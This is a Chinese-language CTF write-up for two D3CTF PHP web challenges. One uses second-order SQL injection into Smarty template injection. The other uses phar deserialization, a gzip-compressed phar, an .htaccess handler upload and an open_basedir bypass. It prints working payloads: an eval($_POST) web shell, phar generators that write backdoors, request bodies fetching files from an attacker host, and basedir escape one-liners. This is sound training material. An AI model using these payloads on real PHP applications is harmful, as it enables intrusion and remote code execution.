d3ctf writeup

easyweb(二次注入)

看一下控制器,就user.php和file.php

ci框架+smarty模版,猜测可能是模版注入

查找一下smarty的display()函数,在user.php的index里的display参数可控

//user.php
public function index()
{
    if ($this->session->has_userdata('userId')) {
        $userView = $this->Render_model->get_view($this->session->userId);
        $prouserView = 'data:,' . $userView;
        $this->username = array('username' => $this->getUsername($this->session->userId));
        $this->ci_smarty->assign('username', $this->username);
        $this->ci_smarty->display($prouserView);
    } else {
        redirect('/user/login');
    }
}

$userView是来自get_view()函数,跟进一下,发现有拼接的sql语句,username参数可控,username会先经过sql_safe(),safe_render()两个过滤函数

//Render_model.php
public function get_view($userId){
    $res = $this->db->query("SELECT username FROM userTable WHERE userId='$userId'")->result();
    if($res){
        $username = $res[0]->username;
        $username = $this->sql_safe($username);
        $username = $this->safe_render($username);
        $userView = $this->db->query("SELECT userView FROM userRender WHERE username='$username'")->result();
        $userView = $userView[0]->userView;
        return $userView;
    }else{
        return false;
    }
}

sql_safe先过滤select等关键字,safe_render过滤{,}

private function safe_render($username){
    $username = str_replace(array('{','}'),'',$username);
    return $username;
}

private function sql_safe($sql){
    if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)/i',$sql)){
        return '';
    }else{
        return $sql;
    }
}

我们可以构造payload绕过,limit只取第一条信息

raohh' unio{n selec}t 0x7B7B7068707D7D6576616C28245F504F53545B615D293B7B7B2F7068707D7D limit 0,1#

$userView会赋值为{{php}}eval($_POST['a']);{{/php}}被模版解析

最后读取flag

a=system('/readflag /flag');

ezupload(phar反序列化)

web根目录在/var/www/html/xxx下,每十分钟变一次

题目

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["HTTP_X_REAL_IP"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777, true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["HTTP_X_REAL_IP"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

dir对象有三个方法 upload ,remove,count但是其中count()没用调用check,可以上传txt文件

phar文件可以通过gzip压缩绕过内容的检测

析构函数可以触发tostring读取web根目录

上传.htaccess执行命令

读web根目录路径

构造phar

记一下踩坑:

unix环境下phar头部去掉<?无法反序列化

触发Phar://反序列化必需要有后缀名

反序列化的destruct函数工作目录不在当前工作目录

<?php

class dir{
    public $userdir;
    public $url;
    public $filename;
}
$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub('aaaa'.' __HALT_COMPILER();?>');   

$o2 = new dir();
$o2->userdir="..";//读取web根目录
$o= new dir();
$o->userdir=$o2;

$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
@unlink("phar.txt");
rename("phar.phar","phar.txt");
system("gzip phar.txt");

上传+触发

action=upload&filename=phar.txt&url=http://vps/phar.txt.gz

action=upload&filename=xxx&url=phar://upload/9616c713f6d1226cc55e987d1e2c6577/phar.txt

拿到web根目录名

your file in : upload/9616c713f6d1226cc55e987d1e2c6577your file in : . .. 25fc970c55766255your file in : ../

上传txt后门

<?php

class dir{
    public $userdir;
    public $url;
    public $filename;
}
$phar = new Phar("phar2.phar"); 
$phar->startBuffering();
$phar->setStub('aaaaa'.' __HALT_COMPILER();?>');   


$o= new dir();
$o->userdir = '<?php eval($_POST[a]);?>';
$o->filename = "/var/www/html/f06110ef2e1e1ae1/upload/9616c713f6d1226cc55e987d1e2c6577/shell";

$phar->setMetadata($o); 
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();
@unlink("phar2.txt");
rename("phar2.phar","phar2.txt");
system("gzip phar2.txt");

上传+触发

action=upload&filename=phar2.txt&url=http://vps/phar2.txt.gz
action=upload&filename=xxx&url=phar://upload/9616c713f6d1226cc55e987d1e2c6577/phar2.txt

上传.htaccess

upload可以上传.htaccess,但是内容被限制了

if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
    die('hacker!!!');
}

参考https://www.freebuf.com/vuls/218495.html

AddHandler php7-script .txt
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

绕过basedir

最后读目录,flag

chdir('..');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
a=chdir('..');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print(file_get_contents('F1aG_1s_H4r4'));

官方解法

读目录 通过glob://协议

action=count&url=1&filename=1&dir=glob:///var/www/html/*/upload/{your_upload_path}/*

写后门 通过构造文件名

action=upload&url=http://xxx&filename=<?php echo 1.1;eval($_GET["a"]);

再通过phar反序列化触发 tostring 将带有后门语句的文件名写入txt


文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
  目录